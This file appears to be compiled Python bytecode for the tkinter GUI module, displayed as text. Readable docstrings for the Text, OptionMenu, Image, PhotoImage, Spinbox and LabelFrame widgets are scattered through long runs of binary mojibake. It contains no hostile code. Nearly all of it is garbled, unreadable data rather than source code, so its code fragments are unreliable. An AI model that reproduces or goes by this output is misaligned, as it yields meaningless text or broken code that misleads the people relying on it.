r~zScrollbar.activates$€ð�w‰w�|‰|˜DŸG™G Z°Ó7Ò?¸4Ð?rcó„—|jj|jj|jd||««S)znReturn the fractional change of the scrollbar setting if it would be moved by DELTAX or DELTAY pixels.rÁr)rNÚdeltaxÚdeltays r rÁzScrollbar.deltas5€ð�w‰w× Ñ Ø �G‰G�L‰L˜Ÿ™ '¨6°6Ó :ó<ð ó 2rröcó”—eZdZdZdifd„Zd„Zd„Zd„Zd8d„Zd8d„Z d „Z d9d „Z d „Z d8d „Z d „Zd„Zd„Zd„Zd8d„Zd„Zd8d„Zifd„Zd„Zd„Zd„Zd8d„Zd„Zd„Zd„Zd„Zd„Zifd„Zd„Z d „Z!d!„Z"d"„Z# d:d#„Z$d$„Z%d%„Z&d8d&„Z'd8d'„Z(d;d(„Z)d)„Z*d8d*„Z+e+Z,d+„Z-d8d,„Z.d8d-„Z/d8d.„Z0d8d/„Z1d8d0„Z2d1„Z3d8d2„Z4d3„Z5d8d4„Z6e6Z7ifd5„Z8d6„Z9d7„Z:y)<ÚTextz4Text widget which can display text in various forms.Nc ó6—tj||d||«y)a¼Construct a text widget with the parent MASTER. STANDARD OPTIONS background, borderwidth, cursor, exportselection, font, foreground, highlightbackground, highlightcolor, highlightthickness, insertbackground, insertborderwidth, insertofftime, insertontime, insertwidth, padx, pady, relief, selectbackground, selectborderwidth, selectforeground, setgrid, takefocus, xscrollcommand, yscrollcommand, WIDGET-SPECIFIC OPTIONS autoseparators, height, maxundo, spacing1, spacing2, spacing3, state, tabs, undo, width, wrap, rßNrŠr‹s r r z Text.__init__5s€ô. �‰˜˜f f¨c°2Õ6rcóv—|j|jj|jd|««xsdS)z‚Return a tuple of (x,y,width,height) which gives the bounding box of the visible part of the character at the given index.r1NrErWs r r1z Text.bboxNs5€ð�}‰}Ø—‘— ‘ ˜TŸW™W f¨eÓ4ó6ò>Ø9=ð >rc ó†—|jj|jj|jd|||««S)z€Return whether between index INDEX1 and index INDEX2 the relation OP is satisfied. OP is one of <, <=, ==, >=, >, or !=.Úcomparer)rNrÊÚoprËs r rz Text.compareTs9€ð�w‰w×!Ñ! $§'¡'§,¡,Ø �G‰G�Y ¨¨Fó#4ó5ð 5rcóÀ—|D�cgc]}d|z‘Œ }}|||gz }|jj|jdg|¢­Žxsd}|�t|«dkr|fS|Scc}w)a·Counts the number of relevant things between the two indices. If index1 is after index2, the result will be a negative number (and this holds for each of the possible options). The actual items which are counted depends on the options given by args. The result is a list of integers, one for the result of each counting option given. Valid counting options are "chars", "displaychars", "displayindices", "displaylines", "indices", "lines", "xpixels" and "ypixels". There is an additional possible option "update", which if given then all subsequent options ensure that any possible out of date information is recalculated.r^rtNé)r<r rvr)rNrÊrËrnÚargr$s r rtz Text.countZso€ñ(,Ó,¡t �˜“  tˆÐ,Ø �˜Ð Ñ ˆØˆd�g‰g�l‰l˜4Ÿ7™7 GÐ3¨dÒ3Ò;°tˆØ ˆ?œs 4›y¨Aš~Ø�7ˆNàˆJùò -s… AcóÔ—|€?|jj|jj|jd««S|jj|jd|«y)zjTurn on the internal consistency checks of the B-Tree inside the text widget according to BOOLEAN.NÚdebugrrfs r r z Text.debugnsI€ð ˆ?Ø—7‘7×%Ñ% d§g¡g§l¡l°4·7±7¸GÓ&DÓEÐ EØ �‰� ‰ �T—W‘W˜g wÕ/rcóT—|jj|jd||«y)z?Delete the characters between INDEX1 and INDEX2 (not included).rZNru©rNrÊrËs r rZz Text.deleteus€à �‰� ‰ �T—W‘W˜h¨°Õ7rcón—|j|jj|jd|««S)z©Return tuple (x,y,width,height,baseline) giving the bounding box and baseline position of the visible part of the line containing the character at INDEX.Ú dlineinforErWs r rzText.dlineinfoys(€ð�}‰}˜TŸW™WŸ\™\¨$¯'©'°;ÀÓFÓGÐGrc ó²—g}d}d}|s g}|fd„}|} t|t«s|j|«x}}|d|gz }|D]} || sŒ |jd| z«Œ|j|«|r|j|«|jj |j dg|¢­Ž||r|j|«SS#|r|j|«wwxYw)aŽReturn the contents of the widget between index1 and index2. The type of contents returned in filtered based on the keyword parameters; if 'all', 'image', 'mark', 'tag', 'text', or 'window' are given and true, then the corresponding items are returned. The result is a list of triples of the form (key, value, index). If none of the keywords are true then 'all' is used by default. If the 'command' argument is given, it is called once for each element of the list of triples, with the values of each triple serving as the arguments to the function. In this case the list is not returned.Ncó,—|j|||f«yr)r×)rAr r=rs r Ú append_triplez Text.dump..append_triple”s€Ø— ‘ ˜s E¨5Ð1Õ2rz-commandr7Údump)rrr'r×r<r rvr) rNrÊrËràrornÚ func_namerrrAs r rz Text.dumpsã€ðˆØˆ ؈Ùð ˆFØ8>ó 3à#ˆGð .ܘg¤sÔ+Ø&*§n¡n°WÓ&=Ð=� ˜GØ �Z Ð)Ñ )ˆDÛ�Ø�c“7˜DŸK™K¨¨c© Õ2ðà �K‰K˜Ô ÙØ— ‘ ˜FÔ#Ø ˆD�G‰G�L‰L˜Ÿ™ &Ð 0¨4Ó 0ØáØ×"Ñ" 9Õ-ðø‰yØ×"Ñ" 9Õ-ðús“4CÁA#CÃCcóR—|jj|jdg|¢­ŽS)arInternal method This method controls the undo mechanism and the modified flag. The exact behavior of the command depends on the option argument that follows the edit argument. The following forms of the command are currently supported: edit_modified, edit_redo, edit_reset, edit_separator and edit_undo Úeditrurys r rz Text.edit§s$€ðˆt�w‰w�|‰|˜DŸG™G VÐ3¨dÒ3Ð3rcó&—|jd|«S)a;Get or Set the modified flag If arg is not specified, returns the modified flag of the widget. The insert, delete, edit undo and edit redo commands or the user can set or clear the modified flag. If boolean is specified, sets the modified flag of the widget to arg. Úmodified©r)rNr s r Ú edit_modifiedzText.edit_modified¶s€ð�y‰y˜ SÓ)Ð)rcó$—|jd«S)a Redo the last undone edit When the undo option is true, reapplies the last undone edits provided no other edits were done since then. Generates an error when the redo stack is empty. Does nothing when the undo option is false. ÚredorrMs r Ú edit_redozText.edit_redoÁs€ð�y‰y˜Ó Ð rcó$—|jd«S)z(Clears the undo and redo stacks ÚresetrrMs r Ú edit_resetzText.edit_resetËs€ð�y‰y˜Ó!Ð!rcó$—|jd«S)znInserts a separator (boundary) on the undo stack. Does nothing when the undo option is false r·rrMs r Úedit_separatorzText.edit_separatorÐs€ð �y‰y˜Ó%Ð%rcó$—|jd«S)aDUndoes the last edit action If the undo option is true. An edit action is defined as all the insert and delete commands that are recorded on the undo stack in between two separators. Generates an error when the undo stack is empty. Does nothing when the undo option is false ÚundorrMs r Ú edit_undozText.edit_undo×s€ð�y‰y˜Ó Ð rcóR—|jj|jd||«S)z5Return the text from INDEX1 to INDEX2 (not included).rrurs r rzText.getâs€à�w‰w�|‰|˜DŸG™G U¨F°FÓ;Ð;rcóˆ—|dddk7rd|z}|dddk(r|dd}|jj|jdd||«S)z9Return the value of OPTION of an embedded image at INDEX.Nrr7rßràrcrrurœs r Ú image_cgetzText.image_cgetçsQ€à �"�1ˆ:˜Ò ؘ6‘\ˆFØ �"�#ˆ;˜#Ò Ø˜C˜R�[ˆFØ�w‰w�|‰|˜DŸG™G W¨f°e¸VÓDÐDrc ó.—|jdd|f||«S)z%Configure an embedded image at INDEX.rcrrrCs r Úimage_configurezText.image_configureïs€à�‰ ¨°eÐ<¸cÀ2ÓFÐFrc óv—|jj|jdd|g|j||«¢­ŽS)z"Create an embedded image at INDEX.rcrrPrCs r Ú image_createzText.image_createós9€àˆt�w‰w�|‰|Ø—‘˜' 8¨Uð*à—-‘-  RÓ(ò*ð *rcóP—|jj|jdd«S)z3Return all names of embedded images in this widget.rcrdrurMs r rezText.image_namesùs€à�w‰w�|‰|˜DŸG™G W¨gÓ6Ð6rcób—t|jj|jd|««S)z1Return the index in the form line.char for INDEX.r=)rr<r rvrWs r r=z Text.indexýs"€ä�4—7‘7—<‘< §¡¨°%Ó8Ó9Ð9rcó\—|jj|jd||f|z«y)zŠInsert CHARS before the characters at INDEX. An additional tag can be given in ARGS. Additional CHARS and tags can follow in ARGS.rNru)rNr=Úcharsrns r rz Text.inserts&€ð �‰� ‰ �d—g‘g˜x¨°Ð6¸Ñ=Õ>rcóV—|jj|jdd||f«S)z„Change the gravity of a mark MARKNAME to DIRECTION (LEFT or RIGHT). Return the current value if None is given for DIRECTION.rÚgravityru)rNÚmarkNameÚ directions r Ú mark_gravityzText.mark_gravitys+€ð�w‰w�|‰|Ø �W‰W�f˜i¨°9Ð =ó?ð ?rcó‚—|jj|jj|jdd««S)zReturn all mark names.rrdr¨rMs r Ú mark_nameszText.mark_names s3€à�w‰w× Ñ  §¡§¡Ø �G‰G�V˜Wó"&ó'ð 'rcóV—|jj|jdd||«y)z0Set mark MARKNAME before the character at INDEX.rrNru)rNr4r=s r Úmark_setz Text.mark_sets€à �‰� ‰ �T—W‘W˜f e¨X°uÕ=rcóZ—|jj|jddf|z«y)zDelete all marks in MARKNAMES.rÚunsetNru)rNÚ markNamess r Ú mark_unsetzText.mark_unsets"€à �‰� ‰ �d—g‘g˜v wÐ/°)Ñ;Õ€ð�w‰w× Ñ  §¡§¡Ø �G‰G�U˜K¨°&¸&ó"BóCð Crc óˆ—|jj|jj|jdd|||««S)z»Return a list of start and end index for the first sequence of characters between INDEX1 and INDEX2 which all have tag TAGNAME. The text is searched backwards from INDEX1.rXÚ prevranger¨rls r Ú tag_prevrangezText.tag_prevrange”rnrcóV—|jj|jdd||«y)zaChange the priority of tag TAGNAME such that it is higher than the priority of ABOVETHIS.rXrñNru)rNrYròs r rzText.tag_raise›s#€ð �‰� ‰ Ø �G‰G�U˜G W¨iõ 9rcó„—|jj|jj|jdd|««S)z7Return a list of ranges of text which have tag TAGNAME.rXÚrangesr¨)rNrYs r Ú tag_rangeszText.tag_ranges¡s5€à�w‰w× Ñ  §¡§¡Ø �G‰G�U˜H gó"/ó0ð 0rcóX—|jj|jdd|||«y)zARemove tag TAGNAME from all characters between INDEX1 and INDEX2.rXr1Nrurls r Ú tag_removezText.tag_remove¦s#€à �‰� ‰ Ø �G‰G�U˜H g¨v°võ ?rcóˆ—|dddk7rd|z}|dddk(r|dd}|jj|jdd||«S)z:Return the value of OPTION of an embedded window at INDEX.Nrr7rßràrtrrurœs r Ú window_cgetzText.window_cget«sQ€à �"�1ˆ:˜Ò ؘ6‘\ˆFØ �"�#ˆ;˜#Ò Ø˜C˜R�[ˆFØ�w‰w�|‰|˜DŸG™G X¨v°u¸fÓEÐErc ó.—|jdd|f||«S)z&Configure an embedded window at INDEX.rtrrrCs r Úwindow_configurezText.window_configure³s€à�‰ ¨+°uÐ=¸sÀBÓGÐGrc ó|—|jj|jdd|f|j||«z«y)zCreate a window at INDEX.rtrNrPrCs r Ú window_createzText.window_create¹s5€à �‰� ‰ Ø�w‰w˜ (¨EÐ2Ø— ‘ ˜c 2Ó&ñ'õ (rcó‚—|jj|jj|jdd««S)z4Return all names of embedded windows in this widget.rtrdr¨rMs r Ú window_nameszText.window_names¿s1€à�w‰w× Ñ Ø �G‰G�L‰L˜Ÿ™ (¨GÓ 4ó6ð 6rcóZ—|jj|jddf|z«y)zObsolete function, use see.r‘z -pickplaceNru)rNrçs r Úyview_pickplacezText.yview_pickplaceÄs"€à �‰� ‰ �d—g‘g˜w¨ Ð5¸Ñ<Õ=rrrn)NNNNNNNNrE);rPrQrRrßr r1rrtr rZrrrrrr!r#r&rr)r+r-rer=rr6r8r:r>rArDrHrJrrr rr�rZr¹r»r_rarcÚ tag_configrfr rirmrqrrurwryr{Ú window_configr}rr�r!rr rr2sI„Ù>à"¨ó7ò2>ò 5ò ó(0ó8òHó %.òP 4ó *ò!ò"ò &ò !ó<ò EóGð')ó*ò 7ò:ò?ó ?ò 'ò >ò=òDòHð,.ó%òIò Gò4ò6ð 04Ø04Ø7;ó.ò(,ò=ó Qó 'ó'ò EóGð€Jò<óBó :ó CóCó9ò 0ó ?ò FóHð%€Mà')ó(ò 6ó >rrcó—eZdZdZdd„Zd„Zy)Ú_setitz>Internal class. It wraps the command in the widget OptionMenu.Ncó.—||_||_||_yr)Ú _setit__valueÚ _setit__varÚ_setit__callback)rNÚvarr r$s r r z_setit.__init__Ìs€ØˆŒ ؈Œ Ø"ˆ�rcó¢—|jj|j«|j�|j|jg|¢­Žyyr)rˆrr‡r‰rys r r z_setit.__call__Ñs<€Ø � ‰ �‰�t—|‘|Ô$Ø �?‰?Ð &Ø ˆD�O‰O˜DŸL™LÐ 0¨4Ô 0ð 'rrrzr!rr r…r…És„ÙHó#ó 1rr…có"—eZdZdZd„Zd„Zd„Zy)Ú OptionMenuz?OptionMenu which allows the user to select a value from a menu.c ó¬—d|dtdddœ}tj||d|«d|_t |dd¬ «x}|_|j |_|jd «}d |vr|d =|r td tt|««z«‚|j|t|||«¬ «|D] } |j| t|| |«¬ «Œ"||d<y )zëConstruct an optionmenu widget with the parent MASTER, with the resource textvariable set to VARIABLE, the initially selected value VALUE, the other menu values VALUES and an additional keyword argument command.r6rr0)Ú borderwidthÚ textvariableÚ indicatoronÚreliefr.ÚhighlightthicknessràÚ tk_optionMenur¤r)rËÚtearoffràzunknown option -)rxràN)ÚRAISEDr~r rwr¢Ú_OptionMenu__menurvÚmenunamerrñr@r:r²r…) rNrór+r r,Úkwargsror¤r$r3s r r zOptionMenu.__init__Úsç€ð °Ø¬&¸CØ$%ñ'ˆô �‰˜˜f l°BÔ7Ø)ˆŒÜ! $¨V¸QÔ?Ð?ˆˆtŒ{ØŸ™ˆŒ à—:‘:˜iÓ(ˆØ ˜Ñ Ø�yÐ!Ù ÜÐ-¬d´4¸³<Ó.@Ñ@ÓAÐ AØ ×јuÜ ¨%°Ó:ð ô <ãˆAØ × Ñ  1Ü# H¨a°Ó:ð õ <ððˆˆVŠ rcóP—|dk(r |jStj||«S)Nr¤)r—r~rurs r ruzOptionMenu.__getitem__ós&€Ø �6Š>Ø—;‘;Ð Ü×!Ñ! $¨Ó-Ð-rcó<—tj|«d|_y)z,Destroy this widget and the associated menu.N)rÞrðr—rMs r rðzOptionMenu.destroyøs€ä×ј4Ô Øˆ� rN)rPrQrRrßr rurðr!rr r�r�×s„ÙIòò2.ó rr�cóV—eZdZdZdZdidfd„Zd„Zd„Zd„Zd„Z d „Z e Z d „Z d „Z d „Zy) ÚImagezBase class for images.rNc ór—d|_|€ td«}t|d|«|_|s,txj dz c_dtj ›�}|r|rt ||f«}n|r|}d}|j«D]\}}|d|z|fz}Œ|jjdd||f|z«||_y) Nz create imager<rÚpyimager!r7rcr) rËrérÕr<r�Ú_last_idr4r-r ) rNÚimgtyperËr/róror>r2r3s r r zImage.__init__s®€ØˆŒ Ø ˆ>Ü& ~Ó6ˆFܘ& $¨Ó/ˆŒÙÜ �NŠN˜aÑ ŽNÜ"'§.¢.Ð2ˆDÙ ‘#œY¨¨R yÓ1‘sÙ �r�؈ؗI‘I–K‰DˆAˆqØ  Q¡¨  Ñ*‰Gð à �‰� ‰ �g˜x¨°$Ð8¸7ÑBÔC؈� rcó—|jSr)rËrMs r rOz Image.__str__s €˜dŸi™iÐ'rcóŒ—|jr) |jjdd|j«yy#t$rYywxYw)NrcrZ)rËr<r rñrMs r rz Image.__del__s?€Ø �9Š9ð Ø—‘— ‘ ˜W h°· ± Õ:ð øôò áð úsŽ'7· AÁAcóZ—|jj|jdd|z|«y©Nrr7©r<r rËrs r rzImage.__setitem__s €Ø �‰� ‰ �T—Y‘Y  ¨S°©W°eÕ¸2Ó>rcóP—|jj|jd«y)zDisplay a transparent image.ÚblankNr¦rMs r r´zPhotoImage.blankFs€à �‰� ‰ �T—Y‘Y Õ(rcóV—|jj|jdd|z«S)zReturn the value of OPTION.rr7r¦)rNrÌs r rzPhotoImage.cgetJs!€à�w‰w�|‰|˜DŸI™I v¨s°V©|Ó<Ðs r rzSpinbox.scan_mark s€ð�y‰y˜ Ó#Ð#rcó&—|jd|«S)a´Compute the difference between the given x argument and the x argument to the last scan mark command It then adjusts the view left or right by 10 times the difference in x-coordinates. This command is typically associated with mouse motion events in the widget, to produce the effect of dragging the spinbox at high speed through the window. The return value is an empty string. rrçr>s r r zSpinbox.scan_dragtos€ð�y‰y˜ 1Ó%Ð%rcó|—|j|jj|jdf|z««xsdS)rrÚr!rErys r rÚzSpinbox.selections9€à�}‰}Ø �G‰G�L‰L˜$Ÿ'™' ;Ð/°$Ñ6Ó 7ó9ò?Ø<>ð ?rcó&—|jd|«S)aúLocate the end of the selection nearest to the character given by index, Then adjust that end of the selection to be at index (i.e including but not going beyond index). The other end of the selection is made the anchor point for future select to commands. If the selection isn't currently in the spinbox, then a new selection is created to include the characters between index and the most recent selection anchor point, inclusive. r#©rÚrWs r r]zSpinbox.selection_adjust#s€ð�~‰~˜h¨Ó.Ð.rcó$—|jd«S)zsClear the selection If the selection isn't in this widget then the command has no effect. r¶rërMs r rÛzSpinbox.selection_clear1s€ð �~‰~˜gÓ&Ð&rcóR—|jj|jdd|«S)zŒSets or gets the currently selected element. If a spinbutton element is specified, it will be displayed depressed. rÚrärurãs r Úselection_elementzSpinbox.selection_element9s!€ð �w‰w�|‰|˜DŸG™G [°)¸WÓEÐErcó(—|jd|«y)rar*NrërWs r rbzSpinbox.selection_fromAs€à �‰�v˜uÕ%rcó‚—|jj|jj|jdd««S)zUReturn True if there are characters selected in the spinbox, False otherwise.rÚrdrrMs r rezSpinbox.selection_presentErfrcó*—|jd||«y)rhriNrërjs r rlzSpinbox.selection_rangeKs€à �‰�w  sÕ+rcó(—|jd|«y)rnr/NrërWs r rozSpinbox.selection_toOs€à �‰�t˜UÕ#rr)rPrQrRrßr r1rZrrrór=rr�rrr rÚr]rÛrîrbrerlror!rr rØrؤsp„Ùà"¨ó:ò: Kó <ò,ò7ò7ò5ò 9ò8ò:ò $ò &ò?ò /ò'óFò&ò;ò ,ó$rrØcó—eZdZdZdifd„Zy)Ú LabelFramezlabelframe widget.Nc ó6—tj||d||«y)a«Construct a labelframe widget with the parent MASTER. STANDARD OPTIONS borderwidth, cursor, font, foreground, highlightbackground, highlightcolor, highlightthickness, padx, pady, relief, takefocus, text WIDGET-SPECIFIC OPTIONS background, class, colormap, container, height, labelanchor, labelwidget, visual, width Ú labelframeNrŠr‹s r r zLabelFrame.__init__Ys€ô �‰˜˜f l°C¸Õò Bò/ð€Fò 7ò;ò #ò $ò )ò :ò )ò(ò/ò 9óJ)ðX€JóArrøcó¤—t«}d|jd«z}|dz }t||¬«}|j«t |d|fd„¬«}|j«||_t |d|j ¬«}|j«|j«|j«|j«|j«y) NzThis is Tcl/Tk %sÚ tk_patchLevelu This should be a cedilla: ç©rßz Click me!cóZ—|jjd|jdz¬«S)Nz[%s]rßr)Útestrrís r Úz_test..7s)€¨¯ © ×(;Ñ(;Ø § ¡ ¨&Ñ 1Ñ1ð)<ô)3r)rßràÚQUIT) rærrvrrŠrrðrÏr)r­r^)rèrßrxrrÑs r Ú_testr0s¨€Ü ‹4€DØ  ×!2Ñ!2°?Ó!CÑ C€DØÐ .Ñ.€DÜ �$˜TÔ "€EØ ‡J�J„LÜ �$˜[Ø"&ò3ô 4€Dð ‡I�I„KØ€D„IÜ �$˜V¨T¯\©\Ô :€D؇I�I„Kð ‡L�L„N؇K�K„M؇N�NÔØ‡M�M…Orrà>rÚ__main__)TNrrk)NNræF)grßÚ collectionsÚenumrÿrhr8rñÚtkinter.constantsrXrrÚfloatr)Ú TkVersionr*Ú TclVersionÚREADABLEÚWRITABLEÚ EXCEPTIONÚcompilerÚASCIIrrr r"r*r4rBÚ namedtuplerDr^Ú _simple_enumÚStrEnumr`r®rárârãrérîrôrørýrrÿrGrNrTrXr^r[rQrRr rarr|r�r—rærArrLrNr]rfrpr~r€rŠr‘r:r5rLrsrvrzr¢rÞrârærírörr…r�r�r®rÐrerirØrôrørÚglobalsr-r½rÚ ModuleTypeÚ__all__rP)rËÚobjs00r Úr3s@ðñó@Û Û Û ãØ × Ñ €ÜÛ à€ Ø €á �(×%Ñ%Ó &€ Ù �8×'Ñ'Ó (€ à × Ñ €Ø × Ñ €Ø × Ñ € ð ˆB�J‰J�{Ó #€ Ø ˆB�J‰J�y "§(¡(Ó +€ ò,ò ò8ð×!Ñ!€Xòð$×#Ñ#€Yóô.SÐ-�{×-Ñ-Ð.@Ø=ó?ôSò Gð€×Ñ�4—<‘<Ó ÷'ð'ó!ð'÷TO ñO ðdÐØ€ ò ó òò"ò ó ð €÷q+ñq+ôh�ôô02ˆXô2ô2E�ôEô*A�ôAó<:ð €à € ò=÷AñA÷D(,ñ,÷,?ñ?÷*?ñ?÷*mñmô` p&ˆˆrôp&ðf!$§ ¡ ôó,6÷+,ñ+,÷\0.ñ0.÷f4,ñ4,ôn>4�ô>4ôB ˆZ˜˜u dô ô8ˆz˜2ô8ô<,/ˆVô,/ô^q>ˆV�U˜Eôq>ðh Ðô.(�&ô.(ôbSˆF�EôSôl?ˆFô?ô(8ˆFô8ô0qˆf�e˜Uôqôh~*ˆ6ô~*ôB=�ô=ô:ˆfô:ô(�&ô(ôB$7ˆFô$7ôN/2�ô/2ôdT>ˆ6�5˜%ôT>÷n 1ñ 1ô$�ô$÷N;7ñ;7ô|QF�ôQFôh@�%ô@ò3ò 3ô m$ˆf�eôm$ôd=�ô=ô0}A�&ô}AòDñ*")£§¡Ô!2ô ,Ñ!2‘I�D˜#Ø—/‘/ #Ô&©z¸#¸u×?OÑ?OÔ/Pؘ?Ñ*ò Ð!2ò ,€ð ˆzÒÙ …GðøðEOÒ’tÐûð,Ò’tÐüóPN ,s*Â0 M2Â? M>Ì,4N Í2M;Í:M;Í>NÎN